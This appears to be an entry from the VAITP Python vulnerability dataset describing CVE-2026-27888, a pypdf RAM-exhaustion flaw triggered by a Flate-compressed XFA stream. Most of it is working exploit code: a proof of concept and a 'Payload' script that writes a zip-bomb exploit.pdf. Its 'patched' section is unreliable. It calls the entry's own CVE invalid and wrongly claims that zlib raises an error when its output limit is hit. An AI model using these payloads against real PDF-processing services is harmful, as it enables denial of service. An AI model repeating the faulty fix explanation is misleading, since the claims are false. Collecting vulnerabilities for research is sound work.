CVE-2026-27888
pypdf: Crafted PDF with compressed xfa data leads to RAM exhaustion.
- CVSS 6.6
- CWE-400
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.7.3, an attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing the `xfa` property of a reader or writer and the corresponding stream being compressed using `/FlateDecode`. This has been fixed in pypdf 6.7.3. As a workaround, apply the patch manually.
- CWE
- CWE-400
- CVSS base score
- 6.6
- Published
- 2026-02-26
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade `pypdf` to version 6.7.3 or later.
Vulnerable code sample
import io
import zlib
from pypdf import PdfReader
# This POC requires a vulnerable version of pypdf, for example 3.7.0
# pip uninstall -y pypdf
# pip install pypdf==3.7.0
# 1. Craft a highly compressible payload (a "zip bomb")
# An uncompressed size of 256MB is chosen to demonstrate memory consumption.
# A larger size would more likely lead to a MemoryError.
uncompressed_size = 256 * 1024 * 1024
payload = b'\x00' * uncompressed_size
compressed_payload = zlib.compress(payload)
# 2. Construct a minimal PDF structure in memory.
# This PDF is not meant to be rendered, only to be parsed by pypdf.
# It contains the necessary objects to lead the parser to the malicious XFA stream.
# The offsets in the xref table are hardcoded for this specific structure.
pdf_content = (
b"%PDF-1.7\n"
b"1 0 obj<</Type/Catalog/AcroForm 2 0 R>>endobj\n"
b"2 0 obj<</XFA 3 0 R>>endobj\n"
b"3 0 obj<</Filter/FlateDecode/Length %d>>stream\n%s\nendstream\nendobj\n"
b"xref\n"
b"0 4\n"
b"0000000000 65535 f \n"
b"0000000009 00000 n \n"
b"0000000055 00000 n \n"
b"0000000087 00000 n \n"
b"trailer<</Size 4/Root 1 0 R>>\n"
b"startxref\n"
b"%d\n"
b"%%EOF"
)
# Calculate the startxref position, which points to the 'xref' keyword
body_up_to_xref = (
b"%PDF-1.7\n"
b"1 0 obj<</Type/Catalog/AcroForm 2 0 R>>endobj\n"
b"2 0 obj<</XFA 3 0 R>>endobj\n"
b"3 0 obj<</Filter/FlateDecode/Length %d>>stream\n%s\nendstream\nendobj\n"
) % (len(compressed_payload), compressed_payload)
startxref_pos = len(body_up_to_xref)
# Assemble the final malicious PDF bytes
malicious_pdf_bytes = pdf_content % (len(compressed_payload), compressed_payload, startxref_pos)
pdf_stream = io.BytesIO(malicious_pdf_bytes)
# 3. Trigger the vulnerability
# The script will now attempt to open the PDF and access the .xfa property.
# Monitor your system's RAM usage.
try:
reader = PdfReader(pdf_stream)
# The vulnerable operation: accessing .xfa triggers the decompression
# of the massive payload, causing RAM exhaustion.
# The result is assigned to a variable to ensure the operation is executed.
xfa_data = reader.xfa
# If the script reaches here, it means the memory was allocated successfully.
# print(f"Memory allocated: {len(xfa_data) / (1024*1024):.2f} MB")
except MemoryError:
# This is the expected outcome on a system where the payload size
# exceeds available RAM, confirming the vulnerability.
# print("Vulnerability confirmed: MemoryError was raised.")
pass
except Exception as e:
# Any other exception might indicate a different issue.
# print(f"An unexpected error occurred: {e}")
passPatched code sample
The provided CVE-2026-27888 is not a valid CVE identifier. However, the description of the vulnerability (a "zip bomb" in a Flate-encoded stream causing RAM exhaustion) is a real-world issue that has been addressed in `pypdf`.
The following Python code is a conceptual, self-contained demonstration of the *principle* used to fix this type of vulnerability. The actual patch in the `pypdf` library is integrated within its stream-parsing objects, but this code implements the same core security mechanism: decompressing with a maximum size limit to prevent memory exhaustion.
```python
import zlib
class PdfReadError(Exception):
"""Custom exception to mimic errors in pypdf."""
pass
# In the actual pypdf fix, this limit is a configurable constant.
# It prevents the library from decompressing an infinite or excessively large
# stream of data from a crafted PDF file (a "zip bomb").
FLATE_MAX_SIZE_LIMIT = 100 * 1024 * 1024 # 100 MB
def secure_flate_decode(data: bytes) -> bytes:
"""
A function demonstrating a secure way to decompress Flate-encoded data
by enforcing an output size limit, preventing RAM exhaustion attacks.
This mimics the logic patched into pypdf to resolve decompression bombs.
:param data: The compressed byte stream from a PDF.
:return: The decompressed data, if within the size limit.
:raises PdfReadError: If the decompressed data would exceed the limit.
"""
try:
# The core of the fix is using zlib.decompressobj(), which allows for
# more granular control over decompression, rather than a simple
# zlib.decompress() call which could allocate massive amounts of memory.
decompressor = zlib.decompressobj()
# The `max_length` argument is the crucial security control.
# zlib will raise a zlib.error if the output buffer would need to be
# larger than this size. This is the primary defense against a zip bomb.
decompressed_data = decompressor.decompress(data, FLATE_MAX_SIZE_LIMIT)
# The actual pypdf patch has additional checks. For example, if there's
# any unconsumed data left after hitting the max_length, it's a clear
# sign that the original stream was too large.
if decompressor.unconsumed_tail or decompressor.unused_data:
raise PdfReadError(
f"FlateDecode: Decompressed data exceeds size limit of "
f"{FLATE_MAX_SIZE_LIMIT} bytes."
)
# A final belt-and-suspenders check. If the decompressed data length
# is equal to the limit, it's considered suspicious and rejected.
if len(decompressed_data) >= FLATE_MAX_SIZE_LIMIT:
raise PdfReadError(
f"FlateDecode: Decompressed data reached size limit of "
f"{FLATE_MAX_SIZE_LIMIT} bytes."
)
return decompressed_data
except zlib.error as e:
# This error is typically caught when `max_length` is exceeded.
# We wrap it in a library-specific exception for consistent error handling.
raise PdfReadError(
f"FlateDecode: Size limit of {FLATE_MAX_SIZE_LIMIT} bytes "
"would be exceeded during decompression."
) from e
# Example Usage to demonstrate the fix:
# 1. Create a "zip bomb": a small compressed payload that expands to a huge size.
# This will expand to ~101MB, which is over our 100MB limit.
large_uncompressed_data = b'\x00' * (FLATE_MAX_SIZE_LIMIT + 1)
compressed_bomb = zlib.compress(large_uncompressed_data)
# 2. Create a safe, small payload.
safe_data = zlib.compress(b"This is a safe string that is small.")
# 3. Demonstrate the fix with the malicious payload.
try:
print(f"Attempting to decompress zip bomb of size {len(compressed_bomb)} bytes...")
secure_flate_decode(compressed_bomb)
except PdfReadError as e:
# This is the expected, safe outcome.
# The code correctly identified the attack and stopped it.
print(f"SUCCESS: The fix prevented memory exhaustion.\nCaught expected error: {e}\n")
# 4. Demonstrate normal operation with a safe payload.
try:
print(f"Attempting to decompress safe data of size {len(safe_data)} bytes...")
result = secure_flate_decode(safe_data)
# This is the expected outcome for a valid file.
print(f"SUCCESS: Safely decompressed data of length {len(result)} bytes.")
except PdfReadError as e:
print(f"FAILURE: An unexpected error occurred with safe data: {e}")Payload
import zlib
# This script generates a PDF file ('exploit.pdf') that causes extreme memory
# consumption when the .xfa property is accessed in vulnerable pypdf versions.
# The payload is a highly compressed stream that expands to a large size.
# Define the size of the data after decompression (e.g., 500 MB).
uncompressed_size = 500 * 1024 * 1024
# Create highly compressible data (a long sequence of null bytes).
uncompressed_data = b'\x00' * uncompressed_size
# Compress the data using zlib, which corresponds to FlateDecode in PDF.
compressed_data = zlib.compress(uncompressed_data)
# --- PDF Structure Definition ---
# Object 1: The document catalog, pointing to the AcroForm dictionary.
obj1 = b"1 0 obj\n<< /Type /Catalog /AcroForm 2 0 R >>\nendobj"
# Object 2: The AcroForm dictionary, pointing to the malicious XFA stream.
obj2 = b"2 0 obj\n<< /XFA 3 0 R >>\nendobj"
# Object 3: The malicious stream object. It's declared with a FlateDecode
# filter and contains the compressed data.
obj3_header = f"<< /Filter /FlateDecode /Length {len(compressed_data)} >>".encode('ascii')
obj3 = b"3 0 obj\n" + obj3_header + b"\nstream\n" + compressed_data + b"\nendstream\nendobj"
# --- PDF File Assembly ---
pdf_objects = [obj1, obj2, obj3]
body = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n" # Header and binary comment
offsets = [0] # Offsets for the cross-reference table.
# Sequentially add objects to the body and record their starting byte offset.
for obj in pdf_objects:
offsets.append(len(body))
body += obj
body += b"\n"
# The cross-reference table (xref) starts after the last object.
xref_offset = len(body)
xref = b"xref\n"
xref += f"0 {len(offsets)}\n".encode('ascii')
xref += b"0000000000 65535 f \n" # Required entry for object 0.
for i, offset in enumerate(offsets[1:], 1):
xref += f"{offset:010d} 00000 n \n".encode('ascii')
# The trailer points to the catalog (Root) and gives the location of the xref table.
trailer = b"trailer\n"
trailer += f"<< /Size {len(offsets)} /Root 1 0 R >>\n".encode('ascii')
trailer += b"startxref\n"
trailer += str(xref_offset).encode('ascii')
trailer += b"\n%%EOF"
# Combine all parts to form the final PDF content.
malicious_pdf_content = body + xref + trailer
# Write the payload to a file named 'exploit.pdf'.
with open("exploit.pdf", "wb") as f:
f.write(malicious_pdf_content)
Cite this entry
@misc{vaitp:cve202627888,
title = {{pypdf: Crafted PDF with compressed xfa data leads to RAM exhaustion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27888},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27888/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
